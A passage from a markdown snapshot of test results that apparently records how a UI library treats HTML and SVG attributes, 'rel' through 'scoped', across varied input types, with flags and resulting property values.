`rel=(null)`| (initial)| `<empty string>` |\n| `rel=(undefined)`| (initial)| `<empty string>` |\n\n## `rendering-intent` (on `<color-profile>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rendering-intent=(string)`| (changed, warning)| `\"a string\"` |\n| `rendering-intent=(empty string)`| (changed, warning)| `<empty string>` |\n| `rendering-intent=(array with string)`| (changed, warning)| `\"string\"` |\n| `rendering-intent=(empty array)`| (changed, warning)| `<empty string>` |\n| `rendering-intent=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `rendering-intent=(numeric string)`| (changed, warning)| `\"42\"` |\n| `rendering-intent=(-1)`| (changed, warning)| `\"-1\"` |\n| `rendering-intent=(0)`| (changed, warning)| `\"0\"` |\n| `rendering-intent=(integer)`| (changed, warning)| `\"1\"` |\n| `rendering-intent=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `rendering-intent=(float)`| (changed, warning)| `\"99.99\"` |\n| `rendering-intent=(true)`| (initial, warning)| `<null>` |\n| `rendering-intent=(false)`| (initial, warning)| `<null>` |\n| `rendering-intent=(string 'true')`| (changed, warning)| `\"true\"` |\n| `rendering-intent=(string 'false')`| (changed, warning)| `\"false\"` |\n| `rendering-intent=(string 'on')`| (changed, warning)| `\"on\"` |\n| `rendering-intent=(string 'off')`| (changed, warning)| `\"off\"` |\n| `rendering-intent=(symbol)`| (initial, warning)| `<null>` |\n| `rendering-intent=(function)`| (initial, warning)| `<null>` |\n| `rendering-intent=(null)`| (initial, warning)| `<null>` |\n| `rendering-intent=(undefined)`| (initial, warning)| `<null>` |\n\n## `renderingIntent` (on `<color-profile>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `renderingIntent=(string)`| (changed)| `\"a string\"` |\n| `renderingIntent=(empty string)`| (changed)| `<empty string>` |\n| `renderingIntent=(array with string)`| (changed)| `\"string\"` |\n| `renderingIntent=(empty array)`| (changed)| `<empty string>` |\n| `renderingIntent=(object)`| (changed)| `\"result of toString()\"` |\n| `renderingIntent=(numeric string)`| (changed)| `\"42\"` |\n| `renderingIntent=(-1)`| (changed)| `\"-1\"` |\n| `renderingIntent=(0)`| (changed)| `\"0\"` |\n| `renderingIntent=(integer)`| (changed)| `\"1\"` |\n| `renderingIntent=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `renderingIntent=(float)`| (changed)| `\"99.99\"` |\n| `renderingIntent=(true)`| (initial, warning)| `<null>` |\n| `renderingIntent=(false)`| (initial, warning)| `<null>` |\n| `renderingIntent=(string 'true')`| (changed)| `\"true\"` |\n| `renderingIntent=(string 'false')`| (changed)| `\"false\"` |\n| `renderingIntent=(string 'on')`| (changed)| `\"on\"` |\n| `renderingIntent=(string 'off')`| (changed)| `\"off\"` |\n| `renderingIntent=(symbol)`| (initial, warning)| `<null>` |\n| `renderingIntent=(function)`| (initial, warning)| `<null>` |\n| `renderingIntent=(null)`| (initial)| `<null>` |\n| `renderingIntent=(undefined)`| (initial)| `<null>` |\n\n## `repeatCount` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `repeatCount=(string)`| (initial)| `<null>` |\n| `repeatCount=(empty string)`| (initial)| `<null>` |\n| `repeatCount=(array with string)`| (initial)| `<null>` |\n| `repeatCount=(empty array)`| (initial)| `<null>` |\n| `repeatCount=(object)`| (initial)| `<null>` |\n| `repeatCount=(numeric string)`| (initial)| `<null>` |\n| `repeatCount=(-1)`| (initial)| `<null>` |\n| `repeatCount=(0)`| (initial)| `<null>` |\n| `repeatCount=(integer)`| (initial)| `<null>` |\n| `repeatCount=(NaN)`| (initial, warning)| `<null>` |\n| `repeatCount=(float)`| (initial)| `<null>` |\n| `repeatCount=(true)`| (initial, warning)| `<null>` |\n| `repeatCount=(false)`| (initial, warning)| `<null>` |\n| `repeatCount=(string 'true')`| (initial)| `<null>` |\n| `repeatCount=(string 'false')`| (initial)| `<null>` |\n| `repeatCount=(string 'on')`| (initial)| `<null>` |\n| `repeatCount=(string 'off')`| (initial)| `<null>` |\n| `repeatCount=(symbol)`| (initial, warning)| `<null>` |\n| `repeatCount=(function)`| (initial, warning)| `<null>` |\n| `repeatCount=(null)`| (initial)| `<null>` |\n| `repeatCount=(undefined)`| (initial)| `<null>` |\n\n## `repeatDur` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `repeatDur=(string)`| (initial)| `<null>` |\n| `repeatDur=(empty string)`| (initial)| `<null>` |\n| `repeatDur=(array with string)`| (initial)| `<null>` |\n| `repeatDur=(empty array)`| (initial)| `<null>` |\n| `repeatDur=(object)`| (initial)| `<null>` |\n| `repeatDur=(numeric string)`| (initial)| `<null>` |\n| `repeatDur=(-1)`| (initial)| `<null>` |\n| `repeatDur=(0)`| (initial)| `<null>` |\n| `repeatDur=(integer)`| (initial)| `<null>` |\n| `repeatDur=(NaN)`| (initial, warning)| `<null>` |\n| `repeatDur=(float)`| (initial)| `<null>` |\n| `repeatDur=(true)`| (initial, warning)| `<null>` |\n| `repeatDur=(false)`| (initial, warning)| `<null>` |\n| `repeatDur=(string 'true')`| (initial)| `<null>` |\n| `repeatDur=(string 'false')`| (initial)| `<null>` |\n| `repeatDur=(string 'on')`| (initial)| `<null>` |\n| `repeatDur=(string 'off')`| (initial)| `<null>` |\n| `repeatDur=(symbol)`| (initial, warning)| `<null>` |\n| `repeatDur=(function)`| (initial, warning)| `<null>` |\n| `repeatDur=(null)`| (initial)| `<null>` |\n| `repeatDur=(undefined)`| (initial)| `<null>` |\n\n## `required` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `required=(string)`| (changed)| `<boolean: true>` |\n| `required=(empty string)`| (initial)| `<boolean: false>` |\n| `required=(array with string)`| (changed)| `<boolean: true>` |\n| `required=(empty array)`| (changed)| `<boolean: true>` |\n| `required=(object)`| (changed)| `<boolean: true>` |\n| `required=(numeric string)`| (changed)| `<boolean: true>` |\n| `required=(-1)`| (changed)| `<boolean: true>` |\n| `required=(0)`| (initial)| `<boolean: false>` |\n| `required=(integer)`| (changed)| `<boolean: true>` |\n| `required=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `required=(float)`| (changed)| `<boolean: true>` |\n| `required=(true)`| (changed)| `<boolean: true>` |\n| `required=(false)`| (initial)| `<boolean: false>` |\n| `required=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `required=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `required=(string 'on')`| (changed)| `<boolean: true>` |\n| `required=(string 'off')`| (changed)| `<boolean: true>` |\n| `required=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `required=(function)`| (initial, warning)| `<boolean: false>` |\n| `required=(null)`| (initial)| `<boolean: false>` |\n| `required=(undefined)`| (initial)| `<boolean: false>` |\n\n## `requiredExtensions` (on `<a>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `requiredExtensions=(string)`| (changed)| `[\"a\", \"string\"]` |\n| `requiredExtensions=(empty string)`| (initial)| `[]` |\n| `requiredExtensions=(array with string)`| (changed)| `[\"string\"]` |\n| `requiredExtensions=(empty array)`| (initial)| `[]` |\n| `requiredExtensions=(object)`| (changed)| `[\"result\", \"of\", \"toString()\"]` |\n| `requiredExtensions=(numeric string)`| (changed)| `[\"42\"]` |\n| `requiredExtensions=(-1)`| (changed)| `[\"-1\"]` |\n| `requiredExtensions=(0)`| (changed)| `[\"0\"]` |\n| `requiredExtensions=(integer)`| (changed)| `[\"1\"]` |\n| `requiredExtensions=(NaN)`| (changed, warning)| `[\"NaN\"]` |\n| `requiredExtensions=(float)`| (changed)| `[\"99.99\"]` |\n| `requiredExtensions=(true)`| (initial, warning)| `[]` |\n| `requiredExtensions=(false)`| (initial, warning)| `[]` |\n| `requiredExtensions=(string 'true')`| (changed)| `[\"true\"]` |\n| `requiredExtensions=(string 'false')`| (changed)| `[\"false\"]` |\n| `requiredExtensions=(string 'on')`| (changed)| `[\"on\"]` |\n| `requiredExtensions=(string 'off')`| (changed)| `[\"off\"]` |\n| `requiredExtensions=(symbol)`| (initial, warning)| `[]` |\n| `requiredExtensions=(function)`| (initial, warning)| `[]` |\n| `requiredExtensions=(null)`| (initial)| `[]` |\n| `requiredExtensions=(undefined)`| (initial)| `[]` |\n\n## `requiredFeatures` (on `<a>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `requiredFeatures=(string)`| (changed)| `\"a string\"` |\n| `requiredFeatures=(empty string)`| (changed)| `<empty string>` |\n| `requiredFeatures=(array with string)`| (changed)| `\"string\"` |\n| `requiredFeatures=(empty array)`| (changed)| `<empty string>` |\n| `requiredFeatures=(object)`| (changed)| `\"result of toString()\"` |\n| `requiredFeatures=(numeric string)`| (changed)| `\"42\"` |\n| `requiredFeatures=(-1)`| (changed)| `\"-1\"` |\n| `requiredFeatures=(0)`| (changed)| `\"0\"` |\n| `requiredFeatures=(integer)`| (changed)| `\"1\"` |\n| `requiredFeatures=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `requiredFeatures=(float)`| (changed)| `\"99.99\"` |\n| `requiredFeatures=(true)`| (initial, warning)| `<null>` |\n| `requiredFeatures=(false)`| (initial, warning)| `<null>` |\n| `requiredFeatures=(string 'true')`| (changed)| `\"true\"` |\n| `requiredFeatures=(string 'false')`| (changed)| `\"false\"` |\n| `requiredFeatures=(string 'on')`| (changed)| `\"on\"` |\n| `requiredFeatures=(string 'off')`| (changed)| `\"off\"` |\n| `requiredFeatures=(symbol)`| (initial, warning)| `<null>` |\n| `requiredFeatures=(function)`| (initial, warning)| `<null>` |\n| `requiredFeatures=(null)`| (initial)| `<null>` |\n| `requiredFeatures=(undefined)`| (initial)| `<null>` |\n\n## `resource` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `resource=(string)`| (changed)| `\"a string\"` |\n| `resource=(empty string)`| (changed)| `<empty string>` |\n| `resource=(array with string)`| (changed)| `\"string\"` |\n| `resource=(empty array)`| (changed)| `<empty string>` |\n| `resource=(object)`| (changed)| `\"result of toString()\"` |\n| `resource=(numeric string)`| (changed)| `\"42\"` |\n| `resource=(-1)`| (changed)| `\"-1\"` |\n| `resource=(0)`| (changed)| `\"0\"` |\n| `resource=(integer)`| (changed)| `\"1\"` |\n| `resource=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `resource=(float)`| (changed)| `\"99.99\"` |\n| `resource=(true)`| (initial, warning)| `<null>` |\n| `resource=(false)`| (initial, warning)| `<null>` |\n| `resource=(string 'true')`| (changed)| `\"true\"` |\n| `resource=(string 'false')`| (changed)| `\"false\"` |\n| `resource=(string 'on')`| (changed)| `\"on\"` |\n| `resource=(string 'off')`| (changed)| `\"off\"` |\n| `resource=(symbol)`| (initial, warning)| `<null>` |\n| `resource=(function)`| (initial, warning)| `<null>` |\n| `resource=(null)`| (initial)| `<null>` |\n| `resource=(undefined)`| (initial)| `<null>` |\n\n## `restart` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `restart=(string)`| (initial)| `<null>` |\n| `restart=(empty string)`| (initial)| `<null>` |\n| `restart=(array with string)`| (initial)| `<null>` |\n| `restart=(empty array)`| (initial)| `<null>` |\n| `restart=(object)`| (initial)| `<null>` |\n| `restart=(numeric string)`| (initial)| `<null>` |\n| `restart=(-1)`| (initial)| `<null>` |\n| `restart=(0)`| (initial)| `<null>` |\n| `restart=(integer)`| (initial)| `<null>` |\n| `restart=(NaN)`| (initial, warning)| `<null>` |\n| `restart=(float)`| (initial)| `<null>` |\n| `restart=(true)`| (initial, warning)| `<null>` |\n| `restart=(false)`| (initial, warning)| `<null>` |\n| `restart=(string 'true')`| (initial)| `<null>` |\n| `restart=(string 'false')`| (initial)| `<null>` |\n| `restart=(string 'on')`| (initial)| `<null>` |\n| `restart=(string 'off')`| (initial)| `<null>` |\n| `restart=(symbol)`| (initial, warning)| `<null>` |\n| `restart=(function)`| (initial, warning)| `<null>` |\n| `restart=(null)`| (initial)| `<null>` |\n| `restart=(undefined)`| (initial)| `<null>` |\n\n## `result` (on `<feBlend>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `result=(string)`| (changed)| `\"a string\"` |\n| `result=(empty string)`| (initial)| `<empty string>` |\n| `result=(array with string)`| (changed)| `\"string\"` |\n| `result=(empty array)`| (initial)| `<empty string>` |\n| `result=(object)`| (changed)| `\"result of toString()\"` |\n| `result=(numeric string)`| (changed)| `\"42\"` |\n| `result=(-1)`| (changed)| `\"-1\"` |\n| `result=(0)`| (changed)| `\"0\"` |\n| `result=(integer)`| (changed)| `\"1\"` |\n| `result=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `result=(float)`| (changed)| `\"99.99\"` |\n| `result=(true)`| (initial, warning)| `<empty string>` |\n| `result=(false)`| (initial, warning)| `<empty string>` |\n| `result=(string 'true')`| (changed)| `\"true\"` |\n| `result=(string 'false')`| (changed)| `\"false\"` |\n| `result=(string 'on')`| (changed)| `\"on\"` |\n| `result=(string 'off')`| (changed)| `\"off\"` |\n| `result=(symbol)`| (initial, warning)| `<empty string>` |\n| `result=(function)`| (initial, warning)| `<empty string>` |\n| `result=(null)`| (initial)| `<empty string>` |\n| `result=(undefined)`| (initial)| `<empty string>` |\n\n## `results` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `results=(string)`| (changed)| `\"a string\"` |\n| `results=(empty string)`| (changed)| `<empty string>` |\n| `results=(array with string)`| (changed)| `\"string\"` |\n| `results=(empty array)`| (changed)| `<empty string>` |\n| `results=(object)`| (changed)| `\"result of toString()\"` |\n| `results=(numeric string)`| (changed)| `\"42\"` |\n| `results=(-1)`| (changed)| `\"-1\"` |\n| `results=(0)`| (changed)| `\"0\"` |\n| `results=(integer)`| (changed)| `\"1\"` |\n| `results=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `results=(float)`| (changed)| `\"99.99\"` |\n| `results=(true)`| (initial, warning)| `<null>` |\n| `results=(false)`| (initial, warning)| `<null>` |\n| `results=(string 'true')`| (changed)| `\"true\"` |\n| `results=(string 'false')`| (changed)| `\"false\"` |\n| `results=(string 'on')`| (changed)| `\"on\"` |\n| `results=(string 'off')`| (changed)| `\"off\"` |\n| `results=(symbol)`| (initial, warning)| `<null>` |\n| `results=(function)`| (initial, warning)| `<null>` |\n| `results=(null)`| (initial)| `<null>` |\n| `results=(undefined)`| (initial)| `<null>` |\n\n## `reversed` (on `<ol>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `reversed=(string)`| (changed)| `<boolean: true>` |\n| `reversed=(empty string)`| (initial)| `<boolean: false>` |\n| `reversed=(array with string)`| (changed)| `<boolean: true>` |\n| `reversed=(empty array)`| (changed)| `<boolean: true>` |\n| `reversed=(object)`| (changed)| `<boolean: true>` |\n| `reversed=(numeric string)`| (changed)| `<boolean: true>` |\n| `reversed=(-1)`| (changed)| `<boolean: true>` |\n| `reversed=(0)`| (initial)| `<boolean: false>` |\n| `reversed=(integer)`| (changed)| `<boolean: true>` |\n| `reversed=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `reversed=(float)`| (changed)| `<boolean: true>` |\n| `reversed=(true)`| (changed)| `<boolean: true>` |\n| `reversed=(false)`| (initial)| `<boolean: false>` |\n| `reversed=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `reversed=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `reversed=(string 'on')`| (changed)| `<boolean: true>` |\n| `reversed=(string 'off')`| (changed)| `<boolean: true>` |\n| `reversed=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `reversed=(function)`| (initial, warning)| `<boolean: false>` |\n| `reversed=(null)`| (initial)| `<boolean: false>` |\n| `reversed=(undefined)`| (initial)| `<boolean: false>` |\n\n## `role` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `role=(string)`| (changed)| `\"a string\"` |\n| `role=(empty string)`| (changed)| `<empty string>` |\n| `role=(array with string)`| (changed)| `\"string\"` |\n| `role=(empty array)`| (changed)| `<empty string>` |\n| `role=(object)`| (changed)| `\"result of toString()\"` |\n| `role=(numeric string)`| (changed)| `\"42\"` |\n| `role=(-1)`| (changed)| `\"-1\"` |\n| `role=(0)`| (changed)| `\"0\"` |\n| `role=(integer)`| (changed)| `\"1\"` |\n| `role=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `role=(float)`| (changed)| `\"99.99\"` |\n| `role=(true)`| (initial, warning)| `<null>` |\n| `role=(false)`| (initial, warning)| `<null>` |\n| `role=(string 'true')`| (changed)| `\"true\"` |\n| `role=(string 'false')`| (changed)| `\"false\"` |\n| `role=(string 'on')`| (changed)| `\"on\"` |\n| `role=(string 'off')`| (changed)| `\"off\"` |\n| `role=(symbol)`| (initial, warning)| `<null>` |\n| `role=(function)`| (initial, warning)| `<null>` |\n| `role=(null)`| (initial)| `<null>` |\n| `role=(undefined)`| (initial)| `<null>` |\n\n## `rotate` (on `<altGlyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rotate=(string)`| (initial)| `<null>` |\n| `rotate=(empty string)`| (initial)| `<null>` |\n| `rotate=(array with string)`| (initial)| `<null>` |\n| `rotate=(empty array)`| (initial)| `<null>` |\n| `rotate=(object)`| (initial)| `<null>` |\n| `rotate=(numeric string)`| (initial)| `<null>` |\n| `rotate=(-1)`| (initial)| `<null>` |\n| `rotate=(0)`| (initial)| `<null>` |\n| `rotate=(integer)`| (initial)| `<null>` |\n| `rotate=(NaN)`| (initial, warning)| `<null>` |\n| `rotate=(float)`| (initial)| `<null>` |\n| `rotate=(true)`| (initial, warning)| `<null>` |\n| `rotate=(false)`| (initial, warning)| `<null>` |\n| `rotate=(string 'true')`| (initial)| `<null>` |\n| `rotate=(string 'false')`| (initial)| `<null>` |\n| `rotate=(string 'on')`| (initial)| `<null>` |\n| `rotate=(string 'off')`| (initial)| `<null>` |\n| `rotate=(symbol)`| (initial, warning)| `<null>` |\n| `rotate=(function)`| (initial, warning)| `<null>` |\n| `rotate=(null)`| (initial)| `<null>` |\n| `rotate=(undefined)`| (initial)| `<null>` |\n\n## `rows` (on `<textarea>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rows=(string)`| (initial)| `<number: 2>` |\n| `rows=(empty string)`| (initial)| `<number: 2>` |\n| `rows=(array with string)`| (initial)| `<number: 2>` |\n| `rows=(empty array)`| (initial)| `<number: 2>` |\n| `rows=(object)`| (initial)| `<number: 2>` |\n| `rows=(numeric string)`| (changed)| `<number: 42>` |\n| `rows=(-1)`| (initial)| `<number: 2>` |\n| `rows=(0)`| (initial)| `<number: 2>` |\n| `rows=(integer)`| (changed)| `<number: 1>` |\n| `rows=(NaN)`| (initial, warning)| `<number: 2>` |\n| `rows=(float)`| (changed)| `<number: 99>` |\n| `rows=(true)`| (initial, warning)| `<number: 2>` |\n| `rows=(false)`| (initial, warning)| `<number: 2>` |\n| `rows=(string 'true')`| (initial)| `<number: 2>` |\n| `rows=(string 'false')`| (initial)| `<number: 2>` |\n| `rows=(string 'on')`| (initial)| `<number: 2>` |\n| `rows=(string 'off')`| (initial)| `<number: 2>` |\n| `rows=(symbol)`| (initial, warning)| `<number: 2>` |\n| `rows=(function)`| (initial, warning)| `<number: 2>` |\n| `rows=(null)`| (initial)| `<number: 2>` |\n| `rows=(undefined)`| (initial)| `<number: 2>` |\n\n## `rowSpan` (on `<td>` inside `<tr>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rowSpan=(string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(empty string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(array with string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(empty array)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(object)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(numeric string)`| (changed, ssr error, ssr mismatch)| `<number: 42>` |\n| `rowSpan=(-1)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(0)`| (changed, ssr error, ssr mismatch)| `<number: 0>` |\n| `rowSpan=(integer)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(NaN)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(float)`| (changed, ssr error, ssr mismatch)| `<number: 99>` |\n| `rowSpan=(true)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(false)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(string 'true')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(string 'false')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(string 'on')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(string 'off')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(function)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(null)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `rowSpan=(undefined)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n\n## `rx` (on `<ellipse>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rx=(string)`| (changed)| `<SVGLength: 1px>` |\n| `rx=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `rx=(array with string)`| (changed)| `<SVGLength: 1px>` |\n| `rx=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `rx=(object)`| (initial)| `<SVGLength: 0>` |\n| `rx=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `rx=(-1)`| (changed)| `<SVGLength: -1>` |\n| `rx=(0)`| (initial)| `<SVGLength: 0>` |\n| `rx=(integer)`| (changed)| `<SVGLength: 1>` |\n| `rx=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `rx=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `rx=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `rx=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `rx=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `rx=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `rx=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `rx=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `rx=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `rx=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `rx=(null)`| (initial)| `<SVGLength: 0>` |\n| `rx=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `ry` (on `<ellipse>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `ry=(string)`| (changed)| `<SVGLength: 2px>` |\n| `ry=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `ry=(array with string)`| (changed)| `<SVGLength: 2px>` |\n| `ry=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `ry=(object)`| (initial)| `<SVGLength: 0>` |\n| `ry=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `ry=(-1)`| (changed)| `<SVGLength: -1>` |\n| `ry=(0)`| (initial)| `<SVGLength: 0>` |\n| `ry=(integer)`| (changed)| `<SVGLength: 1>` |\n| `ry=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `ry=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `ry=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `ry=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `ry=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `ry=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `ry=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `ry=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `ry=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `ry=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `ry=(null)`| (initial)| `<SVGLength: 0>` |\n| `ry=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `sandbox` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `sandbox=(string)`| (changed)| `[\"allow-forms\", \"allow-scripts\"]` |\n| `sandbox=(empty string)`| (initial)| `[]` |\n| `sandbox=(array with string)`| (changed)| `[\"allow-forms\", \"allow-scripts\"]` |\n| `sandbox=(empty array)`| (initial)| `[]` |\n| `sandbox=(object)`| (changed)| `[\"result\", \"of\", \"toString()\"]` |\n| `sandbox=(numeric string)`| (changed)| `[\"42\"]` |\n| `sandbox=(-1)`| (changed)| `[\"-1\"]` |\n| `sandbox=(0)`| (changed)| `[\"0\"]` |\n| `sandbox=(integer)`| (changed)| `[\"1\"]` |\n| `sandbox=(NaN)`| (changed, warning)| `[\"NaN\"]` |\n| `sandbox=(float)`| (changed)| `[\"99.99\"]` |\n| `sandbox=(true)`| (initial, warning)| `[]` |\n| `sandbox=(false)`| (initial, warning)| `[]` |\n| `sandbox=(string 'true')`| (changed)| `[\"true\"]` |\n| `sandbox=(string 'false')`| (changed)| `[\"false\"]` |\n| `sandbox=(string 'on')`| (changed)| `[\"on\"]` |\n| `sandbox=(string 'off')`| (changed)| `[\"off\"]` |\n| `sandbox=(symbol)`| (initial, warning)| `[]` |\n| `sandbox=(function)`| (initial, warning)| `[]` |\n| `sandbox=(null)`| (initial)| `[]` |\n| `sandbox=(undefined)`| (initial)| `[]` |\n\n## `scale` (on `<feDisplacementMap>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `scale=(string)`| (initial)| `<number: 0>` |\n| `scale=(empty string)`| (initial)| `<number: 0>` |\n| `scale=(array with string)`| (initial)| `<number: 0>` |\n| `scale=(empty array)`| (initial)| `<number: 0>` |\n| `scale=(object)`| (initial)| `<number: 0>` |\n| `scale=(numeric string)`| (changed)| `<number: 42>` |\n| `scale=(-1)`| (changed)| `<number: -1>` |\n| `scale=(0)`| (initial)| `<number: 0>` |\n| `scale=(integer)`| (changed)| `<number: 1>` |\n| `scale=(NaN)`| (initial, warning)| `<number: 0>` |\n| `scale=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `scale=(true)`| (initial, warning)| `<number: 0>` |\n| `scale=(false)`| (initial, warning)| `<number: 0>` |\n| `scale=(string 'true')`| (initial)| `<number: 0>` |\n| `scale=(string 'false')`| (initial)| `<number: 0>` |\n| `scale=(string 'on')`| (initial)| `<number: 0>` |\n| `scale=(string 'off')`| (initial)| `<number: 0>` |\n| `scale=(symbol)`| (initial, warning)| `<number: 0>` |\n| `scale=(function)`| (initial, warning)| `<number: 0>` |\n| `scale=(null)`| (initial)| `<number: 0>` |\n| `scale=(undefined)`| (initial)| `<number: 0>` |\n\n## `scope` (on `<th>` inside `<tr>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `scope=(string)`| (changed, ssr error, ssr mismatch)| `\"row\"` |\n| `scope=(empty string)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(array with string)`| (changed, ssr error, ssr mismatch)| `\"row\"` |\n| `scope=(empty array)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(object)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(numeric string)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(-1)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(0)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(integer)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(NaN)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(float)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(true)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(false)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(string 'true')`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(string 'false')`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(string 'on')`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(string 'off')`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(function)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(null)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `scope=(undefined)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n\n## `scoped` (on `<style>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `scoped=(string)`| (changed)| `<empty string>` |\n| `scoped=(empty string)`| (initial)| `<null>` |\n| `scoped=(array with string)`| (changed)| `<empty string>` |\n| `scoped=(empty array)`| (changed)| `<empty string>` |\n| `scoped=(object)`| (changed)| `<empty string>` |\n| `scoped=(numeric string)`| (changed)| `<empty string>` |\n| `scoped=(-1)`| (changed)| `<empty string>` |\n| `scoped=(0)`| (initial)| `<null>` |\n| `scoped=(integer)`| (changed)| `<empty string>` |\n| `scoped=(NaN)`| (initial, warning)| `<null>` |\n| `scoped=(float)`| (changed)| `<empty string>` |\n| `scoped=(true)`| (changed)| `<empty string>` |\n| `scoped=(false)`| (initial)| `<null>` |\n| `scoped=(string 'true')`| (changed, warning)| 